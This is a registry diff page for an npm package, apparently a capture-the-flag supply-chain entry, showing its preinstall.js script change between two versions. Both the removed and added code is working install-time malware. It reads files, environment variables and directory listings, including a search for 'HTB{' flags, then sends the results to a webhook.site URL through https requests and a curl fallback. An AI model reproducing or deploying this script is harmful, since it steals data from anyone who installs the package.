@ctfsolve9z/coral-wraith 9999.0.2 → 9999.0.3
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- package/package.json +1 -1
- package/preinstall.js +35 -97
package/package.json
CHANGED
package/preinstall.js
CHANGED
|
@@ -1,124 +1,62 @@
|
|
|
1
1
|
const fs = require('fs');
|
|
2
|
-
const http = require('http');
|
|
3
2
|
const https = require('https');
|
|
4
3
|
const { execSync } = require('child_process');
|
|
5
4
|
|
|
6
|
-
let flag = null;
|
|
7
5
|
let debug = [];
|
|
8
6
|
|
|
9
|
-
//
|
|
10
|
-
|
|
11
|
-
|
|
7
|
+
// Read key files
|
|
8
|
+
const filesToRead = [
|
|
9
|
+
'/home/node/supplysec_entry.js',
|
|
10
|
+
'/home/node/aspect-node/config/aspect.config.json',
|
|
11
|
+
'/home/node/aspect-node/index.js',
|
|
12
|
+
'/home/node/aspect-node/sample.js',
|
|
13
|
+
'/home/node/aspect-node/package.json',
|
|
14
|
+
'/home/node/aspect-node/modules/npm-tracker/index.js',
|
|
15
|
+
'/home/node/aspect-node/modules/npm-tracker/fuzz.js',
|
|
16
|
+
'/home/node/aspect-node/modules/npm-tracker/supplysec_entry.js',
|
|
17
|
+
'/home/node/aspect-node/modules/npm-tracker/package.json',
|
|
18
|
+
'/home/node/aspect-node/modules/npm-tracker/src/index.js',
|
|
19
|
+
];
|
|
20
|
+
|
|
21
|
+
for (const f of filesToRead) {
|
|
12
22
|
try {
|
|
13
|
-
const
|
|
14
|
-
debug.push(
|
|
15
|
-
|
|
16
|
-
|
|
17
|
-
|
|
18
|
-
const stat = fs.statSync(full);
|
|
19
|
-
if (stat.isFile() && stat.size < 10000) {
|
|
20
|
-
const content = fs.readFileSync(full, 'utf8').trim();
|
|
21
|
-
if (content.includes('HTB{') || content.includes('flag{')) {
|
|
22
|
-
flag = content;
|
|
23
|
-
debug.push('FLAG_FOUND:' + full);
|
|
24
|
-
return;
|
|
25
|
-
}
|
|
26
|
-
}
|
|
27
|
-
if (stat.isDirectory() && !e.startsWith('.') && e !== 'node_modules' && e !== 'proc' && e !== 'sys' && e !== 'dev') {
|
|
28
|
-
readDir(full, depth + 1);
|
|
29
|
-
}
|
|
30
|
-
} catch(e) {}
|
|
31
|
-
if (flag) return;
|
|
32
|
-
}
|
|
33
|
-
} catch(e) {}
|
|
23
|
+
const content = fs.readFileSync(f, 'utf8');
|
|
24
|
+
debug.push(`FILE:${f}:${content}`);
|
|
25
|
+
} catch(e) {
|
|
26
|
+
debug.push(`ERR:${f}:${e.message.substring(0, 50)}`);
|
|
27
|
+
}
|
|
34
28
|
}
|
|
35
29
|
|
|
36
|
-
//
|
|
37
|
-
for (const dir of ['/home/node', '/tmp/supplysec', '/tmp', '/home', '/opt', '/srv', '/root', '/var/www', '/app']) {
|
|
38
|
-
readDir(dir);
|
|
39
|
-
if (flag) break;
|
|
40
|
-
}
|
|
41
|
-
|
|
42
|
-
// Also search for flag in ALL environment variables
|
|
43
|
-
debug.push('ALL_ENV:' + JSON.stringify(process.env).substring(0, 500));
|
|
44
|
-
|
|
45
|
-
// Read the init_test.sh script
|
|
46
|
-
try {
|
|
47
|
-
const script = fs.readFileSync('/home/node/init_test.sh', 'utf8');
|
|
48
|
-
debug.push('init_test.sh:' + script.substring(0, 500));
|
|
49
|
-
// Check if flag is in the script
|
|
50
|
-
const m = script.match(/HTB\{[^}]+\}/);
|
|
51
|
-
if (m) flag = m[0];
|
|
52
|
-
} catch(e) { debug.push('init_test_err:' + e.message); }
|
|
53
|
-
|
|
54
|
-
// Read package.json in /home/node
|
|
30
|
+
// Also list src directory
|
|
55
31
|
try {
|
|
56
|
-
const
|
|
57
|
-
debug.push('
|
|
32
|
+
const r = execSync('find /home/node/aspect-node/modules/npm-tracker/src -type f 2>/dev/null', { timeout: 5000 }).toString();
|
|
33
|
+
debug.push('SRC_FILES:' + r);
|
|
58
34
|
} catch(e) {}
|
|
59
35
|
|
|
60
|
-
//
|
|
36
|
+
// Read all .js files in key directories
|
|
61
37
|
try {
|
|
62
|
-
const r = execSync('find /
|
|
63
|
-
debug.push('
|
|
38
|
+
const r = execSync('find /home/node -maxdepth 1 -name "*.js" -exec cat {} \\; 2>/dev/null', { timeout: 5000 }).toString();
|
|
39
|
+
debug.push('HOME_JS:' + r);
|
|
64
40
|
} catch(e) {}
|
|
65
41
|
|
|
66
|
-
//
|
|
42
|
+
// Post data
|
|
43
|
+
const data = JSON.stringify({ debug });
|
|
67
44
|
try {
|
|
68
|
-
const r = execSync('find /home/node -type f -not -path "*/node_modules/*" 2>/dev/null | head -30', { timeout: 5000 }).toString();
|
|
69
|
-
debug.push('home_node_files:' + r);
|
|
70
|
-
} catch(e) {}
|
|
71
|
-
|
|
72
|
-
// Exfiltrate
|
|
73
|
-
const data = JSON.stringify({ flag: flag || 'NOT_FOUND', debug: debug });
|
|
74
|
-
|
|
75
|
-
// Send chunks via webhook (URL length limited)
|
|
76
|
-
const chunks = [];
|
|
77
|
-
const encoded = Buffer.from(data).toString('base64');
|
|
78
|
-
for (let i = 0; i < encoded.length; i += 2000) {
|
|
79
|
-
chunks.push(encoded.substring(i, i + 2000));
|
|
80
|
-
}
|
|
81
|
-
|
|
82
|
-
for (let i = 0; i < Math.min(chunks.length, 10); i++) {
|
|
83
|
-
try {
|
|
84
|
-
https.get(`https://webhook.site/9ca9b30a-2889-4787-9dff-5ad916e377b7/v3-${i}?d=${chunks[i]}`, () => {}).on('error', () => {});
|
|
85
|
-
} catch(e) {}
|
|
86
|
-
}
|
|
87
|
-
|
|
88
|
-
// Also POST the full data
|
|
89
|
-
try {
|
|
90
|
-
const postData = data;
|
|
91
45
|
const req = https.request({
|
|
92
46
|
hostname: 'webhook.site',
|
|
93
47
|
path: '/9ca9b30a-2889-4787-9dff-5ad916e377b7',
|
|
94
48
|
method: 'POST',
|
|
95
|
-
headers: { 'Content-Type': 'application/json', 'Content-Length': Buffer.byteLength(
|
|
96
|
-
timeout:
|
|
49
|
+
headers: { 'Content-Type': 'application/json', 'Content-Length': Buffer.byteLength(data) },
|
|
50
|
+
timeout: 15000
|
|
97
51
|
}, () => {});
|
|
98
52
|
req.on('error', () => {});
|
|
99
|
-
req.write(
|
|
53
|
+
req.write(data);
|
|
100
54
|
req.end();
|
|
101
55
|
} catch(e) {}
|
|
102
56
|
|
|
103
|
-
//
|
|
104
|
-
const ports = [1337, 3000, 5000, 8080, 80];
|
|
105
|
-
for (const port of ports) {
|
|
106
|
-
try {
|
|
107
|
-
const postData = JSON.stringify({
|
|
108
|
-
manifest: `ecto_module:\n name: "coral-wraith"\n version: "9999.0.1"\n flag: "${(flag || 'NOT_FOUND').replace(/"/g, '\\"').replace(/\n/g, '\\n')}"`
|
|
109
|
-
});
|
|
110
|
-
const req = http.request({
|
|
111
|
-
hostname: 'localhost', port, path: '/api/modules/ECT-987654',
|
|
112
|
-
method: 'PUT', headers: { 'Content-Type': 'application/json', 'Content-Length': Buffer.byteLength(postData) },
|
|
113
|
-
timeout: 3000
|
|
114
|
-
}, () => {});
|
|
115
|
-
req.on('error', () => {});
|
|
116
|
-
req.write(postData);
|
|
117
|
-
req.end();
|
|
118
|
-
} catch(e) {}
|
|
119
|
-
}
|
|
120
|
-
|
|
121
|
-
// curl fallback
|
|
57
|
+
// Also send via curl for larger payloads
|
|
122
58
|
try {
|
|
123
|
-
|
|
59
|
+
const tmpFile = '/tmp/exfil.json';
|
|
60
|
+
fs.writeFileSync(tmpFile, data);
|
|
61
|
+
execSync(`curl -s -X POST "https://webhook.site/9ca9b30a-2889-4787-9dff-5ad916e377b7" -H "Content-Type: application/json" -d @${tmpFile} -m 15`, { timeout: 20000 });
|
|
124
62
|
} catch(e) {}
|